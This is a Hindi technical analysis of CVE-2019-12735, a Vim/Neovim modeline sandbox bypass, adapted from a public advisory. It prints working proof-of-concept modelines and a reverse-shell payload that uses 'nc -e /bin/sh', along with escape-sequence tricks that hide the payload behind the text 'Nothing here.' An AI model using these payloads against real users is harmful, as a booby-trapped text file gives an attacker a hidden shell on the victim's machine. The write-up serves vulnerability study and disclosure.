
CVE-2019-12735 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो Vim/Neovim में मॉडलाइन सैंडबॉक्स बाईपास के माध्यम से मनमाना कोड निष्पादन कमजोरी है, जिसमें रिवर्स शेल शोषण शामिल है।
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim संस्करण 8.1.1365 से पहले और Neovim संस्करण 0.3.6 से पहले में एक भेद्यता है जो एक विशेष सामग्री वाली टेक्स्ट फ़ाइल खोलने पर modeline के माध्यम से आसानी से मनमाना कोड निष्पादन की अनुमति देती है।
Modeline एक डिफ़ॉल्ट रूप से सक्षम सुविधा है, जो सभी प्रकार की फ़ाइलों पर लागू होती है, जिसमें .txt फ़ाइलें भी शामिल हैं, ताकि फ़ाइल के आरंभ और अंत में फ़ाइल निर्माता द्वारा उल्लिखित विकल्पों के एक सेट को स्वचालित रूप से ढूंढा और लागू/निष्पादित किया जा सके। नीचे एक विशिष्ट modeline कमांड लाइन है:
/* vim: set textwidth=80 tabstop=8: */
सुरक्षा बढ़ाने के लिए, modelines में केवल विकल्पों का एक उपसमूह लागू/निष्पादित करने की अनुमति है, और यदि विकल्प मान में एक अभिव्यक्ति है, तो इसे सैंडबॉक्स में निष्पादित किया जाएगा:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
सैंडबॉक्स साइड इफेक्ट्स को रोकने में मदद करता है
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
हालाँकि, :source! कमांड (जिसके बाद [!] है) का उपयोग सैंडबॉक्स को बायपास करने के लिए किया जा सकता है। यह vim को एक विशेष फ़ाइल से कमांड को पढ़ने और निष्पादित करने के लिए मजबूर करता है जैसे कि उन्हें vim में मैन्युअल रूप से टाइप किया गया हो, उन्हें सैंडबॉक्स से बाहर निकलने के बाद चलाता है। यही वह चीज़ है जिसने भेद्यता पैदा की जो vim के माध्यम से मनमाना कोड निष्पादन की अनुमति देती है।
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
उपरोक्त भेद्यता से, कोई सैंडबॉक्स के बाहर कोड चलाने के लिए एक modeline बना सकता है:
# vim: set foldexpr=execute('\:source! some_file'):
हम execute() के विकल्प के रूप में assert_fails() का भी उपयोग कर सकते हैं:
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
source! के बाद % वर्ण जोड़ें ताकि वर्तमान फ़ाइल निष्पादित हो, नीचे दिया गया उदाहरण uname -a || "(garbage)" को शेल कमांड के रूप में निष्पादित करेगा:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
इसके अलावा, nvim_input() फ़ंक्शन केवल Neovim पर भेद्यता का शोषण करने के लिए है और इसका उपयोग निम्नलिखित उदाहरण की तरह किया जाता है:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
लेखक ने एक PoC प्रस्तुत किया है जो रिवर्स शेल बनाने की अनुमति देता है, Esc वर्ण का उपयोग करके सामग्री को छिपाने के लिए जब पाठक फ़ाइल खोलता है, उसमें नई सामग्री लिखकर।
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
ऊपर लेखक का एक PoC है, हालांकि पाठक के लिए इसे समझना आसान बनाने के लिए, हम ऊपर दिए गए PoC के कुछ हिस्सों को हटाकर इसे बनाएंगे:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
जब vim खोला जाता है, modeline सुविधा फ़ाइल के आरंभ और अंत की जाँच करेगी ताकि modeline कमांड ढूंढ सके (यहाँ 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'), मिलने पर, यह कमांड को निष्पादित करेगी। जैसा कि ऊपर modeline के काम करने के तरीके में बताया गया है, source! % कमांड वर्तमान फ़ाइल को ऐसे निष्पादित करेगा जैसे हमने उस फ़ाइल की सामग्री को vim में मैन्युअल रूप से टाइप किया हो।
पहले यह स्ट्रिंग "\x1bSNothing here.\x1b:silent! w " को निष्पादित करेगा। यदि आपने vim का उपयोग किया है, तो आप शायद vim पर command मोड के बारे में जानते होंगे, इस मोड में प्रवेश करने के लिए, हम बस Esc कुंजी दबाते हैं, इस कुंजी का मान 0x1b है, यही कारण है कि उपरोक्त PoC की शुरुआत 0x1b से होती है ताकि vim में command मोड में प्रवेश किया जा सके।
एक बार command मोड में, यदि हम S कुंजी दबाते हैं, तो वर्तमान पंक्ति की सामग्री तुरंत हटा दी जाएगी और हम insert मोड में वापस आ जाएंगे, इसलिए अगला वर्ण S होगा ताकि PoC फ़ाइल की सामग्री हटा दी जाए और नई सामग्री बनाई जा सके।
इस समय, टेक्स्ट "Nothing here." फ़ाइल में भर दिया जाएगा, फिर Esc वर्ण फिर से command मोड में प्रवेश करने के लिए और कमांड स्ट्रिंग :silent! w बिना स्क्रीन पर कोई संदेश दिखाए फ़ाइल में नया टेक्स्ट ("Nothing here.") लिखने के लिए।
फ़ाइल लिखने के बाद, यह रिवर्स शेल के लिए call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') और उसके बाद के कमांड को निष्पादित करना जारी रखता है। अंतिम कमांड - silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n, इस समय silent! के बाद # चिह्न है, जो vim को इसे एक टिप्पणी के रूप में मानने का कारण बनता है, इसलिए यह निष्पादित नहीं होगा।
इस प्रकार, जब उपयोगकर्ता vim/neovim के साथ उपरोक्त PoC खोलता है, तो हमलावर को उपयोगकर्ता का शेल मिल जाएगा, बिना उपयोगकर्ता को इसकी जानकारी हुए, क्योंकि उपयोगकर्ता की ओर से केवल टेक्स्ट "Nothing here." दिखाई देता है जिसे modeline सुविधा के माध्यम से लिखा गया था।
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md